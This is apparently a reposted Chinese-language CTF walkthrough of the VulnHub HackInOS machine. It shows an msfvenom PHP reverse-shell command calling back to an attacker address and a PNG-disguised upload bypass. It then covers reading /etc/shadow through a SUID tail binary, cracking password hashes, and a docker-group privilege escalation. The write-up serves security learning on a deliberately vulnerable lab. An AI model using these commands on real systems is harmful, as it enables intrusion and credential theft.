VulnHub靶机学习——HackInOS实战记录
2019-11-05 10:02:30 Author: mp.weixin.qq.com(查看原文) 阅读量:67 收藏

山东新潮信息

专业|专注|卓越|安全

声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

一,运行说明

       * 靶机难度:初\中级

       * 目       标:提权、获取flag

       * 运行环境:攻击机kali linux

                            靶机HackInOS

                            均运行于VM VirtualBox

       * 网络设置:均为Nat模式

二、过程

   1、前期信息搜集

          首先要用Nmap找到靶机地址,在这里我的靶机地址是10.0.2.15,可以看到开放了22和8000端口。

           先在浏览器中访问一下。

        可以看到有个搜索框,于是我就天真的以为可能会存在SQL注入,在sqlmap里跑了一下~

        结果是喜闻乐见的没有注入,需要从别的地方找突破口了。

        最近发现火狐浏览器里的wappalyzer插件是个好东西,可以通过该插件能够分析目标网站所采用的平台构架、网站环境、服务器配置环境、JavaScript框架、编程语言等参数,使用时很简单,开启你要分析、检测的网页后,点选该图示即可看到网站使用的相关技术和服务。

       不知为啥,在页面点击链接的时候,总是会跳转到Localhost页面。

       查看网页源代码发现网页链接就是指向Localhost页面的,不知作者为什么这样做,浏览页面时很麻烦,严重影响用户体验。。。

       既然都没什么发现,那就Nmap再扫一下,同时爆破一波目录

         看到upload.php,马上想到了文件上传漏洞,先打开看一下

         整个页面只有一处上传文件的地方,且只能上传图片格式文件
         查看一下网页源代码

         发现源代码中有一处指向Github的链接,访问此链接查看upload.php的源码

         通过阅读源码可了解到系统只允许上传PNG或GIF格式的图片,并且会校验文件内容,通过校验的文件会保存在uploads目录中,使用随机生成的md5值来对上传的文件进行重命名,但是不会改变上传文件的后缀格式。

        这种情况下可以使用Meterpreter进行渗透,先使用该软件生成一个后门

     可以看到我的靶机地址是10.0.2.4。在kali命令行中执行msfvenom-p php/meterpreter/reverse_tcp lhost=10.0.2.4 lport=6666 -f raw生成木马

       就这样,一个喜闻乐见的木马生成了,把payload复制下来保存到php文件中,然后跟正常的png文件合并到一起

       因为系统不检查文件后缀是否为图片格式,所以被重命名为php后缀后一样可以正常上传文件

       然后打开Metasploit,在exploit/multi/handler模块中设置Payload和监听主机、监听端口等参数

         因为上传文件后靶机对其进行了MD5的重命名,所以可以写一个python脚本来帮助我们找到并访问上传的木马

        在靶机中运行一下即可连接

        可以看到现在已经连接成功,但是个低权限账户,等会肯定需要提权。

         先看一下文件夹中有哪些文件

       打开wp-config.php,找到数据库连接信息

       上传一个Linux提权信息收集脚本,下载地址:https://www.securitysift.com/download/linuxprivchecker.py

       执行命令查看一下相关信息

      输出的信息有点多,这一行出现了docker的相关信息,盲猜运行在docker中,先继续往下看。

      可以看到tail被设置了suid

      直接用tail命令读取shadow文件

       至此拿到了root用户密码的哈希值,需要破解一下

      root密码是john,那么就可以提权了。

      又是提示需要一个终端,这种情况以前的靶机经常碰到,执行python-c “import pty;pty.spawn(‘/bin/bash’);”命令即可解决

      flag很好找,打开即可

      生活需要细节,有丶东西,没想到作者还是个带哲学家。

      敲锣打鼓准备收工。但是跟网上大佬们的渗透过程对比却发现,这不是要找的flag。果然自己还是图样图森破,这作者拐弯抹角的属实带恶人

      现在已经拿到了root权限,先进数据库看看 

      mysql -hdb -u wordpress -p wordpress    

      show tables

      可以看到一个跟ssh有关的表,一开始用Nmap扫的时候可以看到22端口是开着的,先打开这个表看一下 select * from host_ssh_cred;

      找到了ID和经MD5加密的密码,这就很简单了

      密码是123456,用ssh连接一下

      登陆成功,刚才我们已经注意到系统可能使运行在docker里,先确定一下

      发现这是docker组的成员。我们可以利用dcoker来提权  docker run -it -v /:/root ubuntu /bin/bash    将/root路径下的文件映射到docker的根目录下

      然后就可以找到真正的flag了

        总体来说因为本人太菜的原因感觉还是有一定难度的,尤其是提权部分,没有别人的教程可能都找不到flag。最近因为项目的原因靶机一直没怎么做,Hackinos前前后后也弄了很长时间,还得需要多学多练才对。

        另外,关于docker的提权有兴趣 的可以看一下大佬总结的这篇文章《普通用户借助Docker容器提权思路分享》https://www.freebuf.com/articles/system/170783.html

E

N

D

guān

zhù

men

Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。

想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.net 或长按二维码关注公众号:


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247484534&idx=1&sn=802916d11ba284c7fd00be31f8f40fe8&chksm=ce5e2617f929af01e8ed03da3b6bfbdb3ba911adbc09207ca1f570c1635b8a864bb2513ec6c9#rd
如有侵权请联系:admin#unsafe.sh